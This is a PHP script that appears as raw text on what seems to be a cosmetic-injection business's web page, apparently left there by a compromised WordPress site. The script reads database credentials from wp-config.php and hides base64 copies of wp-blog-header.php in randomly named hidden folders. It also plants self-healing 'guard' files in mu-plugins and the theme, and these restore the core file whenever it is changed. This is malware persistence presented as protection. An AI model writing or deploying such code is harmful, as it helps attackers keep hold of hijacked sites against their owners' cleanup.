error_reporting(E_ALL);
ini_set('display_errors', 1);
function detectWordPressPaths_wbh() {
if (defined('ABSPATH') && function_exists('get_template_directory')) {
$site_root = realpath(ABSPATH);
$base_path = WP_CONTENT_DIR;
$mu_path = WP_CONTENT_DIR . '/mu-plugins';
$child_theme = get_stylesheet();
$active_theme = get_template();
$themeDir = get_template_directory();
return compact('site_root','base_path','mu_path','child_theme','active_theme','themeDir');
}
$possible_paths = [
__DIR__ . '/wp-config.php',
__DIR__ . '/../wp-config.php',
__DIR__ . '/../../wp-config.php'
];
$wp_config_file = null;
foreach ($possible_paths as $p) {
if (file_exists($p)) {
$wp_config_file = $p;
break;
}
}
if (!$wp_config_file) {
echo "Не найден wp-config.php\n";
exit;
}
$site_root = realpath(dirname($wp_config_file));
$base_path = $site_root . '/wp-content';
$mu_path = $base_path . '/mu-plugins';
$wp_config = file_get_contents($wp_config_file);
preg_match("~define\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_name = $m[1] ?? null;
preg_match("~define\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_user = $m[1] ?? null;
preg_match("~define\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_pass = $m[1] ?? null;
preg_match("~define\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\)~", $wp_config, $m); $db_host = $m[1] ?? null;
preg_match("~\\\$table_prefix\s*=\s*'([^']+)'~", $wp_config, $m); $table_prefix = $m[1] ?? 'wp_';
$active_theme = null;
$child_theme = null;
$mysqli = new mysqli($db_host, $db_user, $db_pass, $db_name);
if (!$mysqli->connect_errno) {
$res = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name='template' LIMIT 1");
if ($res && $row = $res->fetch_assoc()) {
$active_theme = trim($row['option_value']);
}
$res = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name='stylesheet' LIMIT 1");
if ($res && $row = $res->fetch_assoc()) {
$child_theme = trim($row['option_value']);
}
$mysqli->close();
}
$themeDir = $site_root . '/wp-content/themes/' . ($child_theme ?: $active_theme);
return compact('site_root','base_path','mu_path','child_theme','active_theme','themeDir');
}
function safeWpBlogHeaderProtectionCLI($site_root, $themeDir, $base_path, $mu_path) {
$targetPath = $site_root . '/wp-blog-header.php';
if (!is_readable($targetPath)) {
echo "wp-blog-header.php не найден\n";
exit;
}
$source = file_get_contents($targetPath);
if ($source === false || trim($source) === '') {
echo "wp-blog-header.php пуст\n";
exit;
}
$hash = sha1($source);
$encoded = base64_encode($source);
$backupDirs = [
$base_path . '/.cache-wbh-' . bin2hex(random_bytes(3)),
$base_path . '/.backup-wbh-' . bin2hex(random_bytes(3)),
$base_path . '/cache-wbh-' . bin2hex(random_bytes(3)),
$themeDir . '/.data-wbh-' . bin2hex(random_bytes(3)),
];
shuffle($backupDirs);
$backups = [];
for ($i = 0; $i < 3; $i++) {
$dir = $backupDirs[$i];
if (!is_dir($dir)) mkdir($dir, 0755, true);
$file = $dir . '/f-wbh-' . bin2hex(random_bytes(4)) . '.b64';
if (file_put_contents($file, $encoded) !== false) {
$backups[] = $file;
}
}
$guardData = base64_encode(json_encode([
'main' => $targetPath,
'hash' => $hash,
'b' => $backups
]));
$guardTag = '<' . '?php';
$guardCode = $guardTag . "\n";
$guardCode .= "
\$meta = json_decode(base64_decode('$guardData'), true);
if (!is_array(\$meta)) return;
\$main = \$meta['main'];
\$hash = \$meta['hash'];
\$backups = \$meta['b'];
if (!is_readable(\$main)) {
foreach (\$backups as \$b) {
if (is_readable(\$b)) {
\$d = base64_decode(file_get_contents(\$b));
if (\$d) {
file_put_contents(\$main, \$d);
break;
}
}
}
return;
}
\$current = file_get_contents(\$main);
if (sha1(\$current) === \$hash) return;
foreach (\$backups as \$b) {
if (is_readable(\$b)) {
\$d = base64_decode(file_get_contents(\$b));
if (\$d && sha1(\$d) === \$hash) {
file_put_contents(\$main, \$d);
break;
}
}
}
";
$guardDirs = [
$mu_path,
$base_path . '/.guard-wbh-' . bin2hex(random_bytes(3)),
$themeDir . '/includes',
];
shuffle($guardDirs);
$guards = [];
for ($i = 0; $i < 3; $i++) {
$dir = $guardDirs[$i];
if (!is_dir($dir)) mkdir($dir, 0755, true);
$file = $dir . '/guard-wbh-' . bin2hex(random_bytes(5)) . '.php';
if (file_put_contents($file, $guardCode) !== false) {
$guards[] = $file;
}
}
echo "Бэкапы для wp-blog-header.php:\n" . implode("\n", $backups) . "\n\n";
echo "Защитные файлы для wp-blog-header.php:\n" . implode("\n", $guards) . "\n";
}
$paths = detectWordPressPaths_wbh();
safeWpBlogHeaderProtectionCLI($paths['site_root'], $paths['themeDir'], $paths['base_path'], $paths['mu_path']);
Bio stimulators – Christina Injects
Skip to content
